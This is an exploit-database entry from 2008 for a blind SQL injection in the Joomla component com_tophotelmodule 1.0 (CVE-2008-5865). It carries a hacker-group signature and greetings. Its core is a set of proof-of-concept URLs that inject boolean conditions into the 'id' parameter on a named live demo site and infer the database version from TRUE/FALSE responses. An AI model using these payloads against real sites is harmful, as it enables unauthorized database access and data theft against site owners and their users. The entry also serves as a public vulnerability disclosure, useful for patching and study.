Joomla! Component com_tophotelmodule 1.0 - Blind SQL Injection

Author: boom3rang
type: webapps
platform: php
port: 
date_added: 2008-12-20  
date_updated:   
verified: 1  
codes: OSVDB-50947;CVE-2008-5865;CVE-2008-5864  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 7539.txt  
#############################################################
Joomla Component com_tophotelmodule(id) Blind SQL-injection
#############################################################


###################################################
#[~] Author :  boom3rang
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
----------------------------------------
#[!] <name>Top Hotel Module</name>
#[!] <creationDate>06/07/2008</creationDate>
#[!] <author>Joomla HBS</author>
#[!] <authorEmail>dev@joomlahbs.com</authorEmail>
#[!] <authorUrl>http://joomlahbs.com</authorUrl>
#[!] <version>1.0.0</version>
###################################################

Example:
http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=[SQL-vulnerability]


LiveDEMO:

http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=4   -->FALSE

http://demo.joomlahbs.com/p2/index.php?option=com_tophotelmodule&task=showhoteldetails&id=1 and substring(@@version,1,1)=5   -->TRUE


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-21]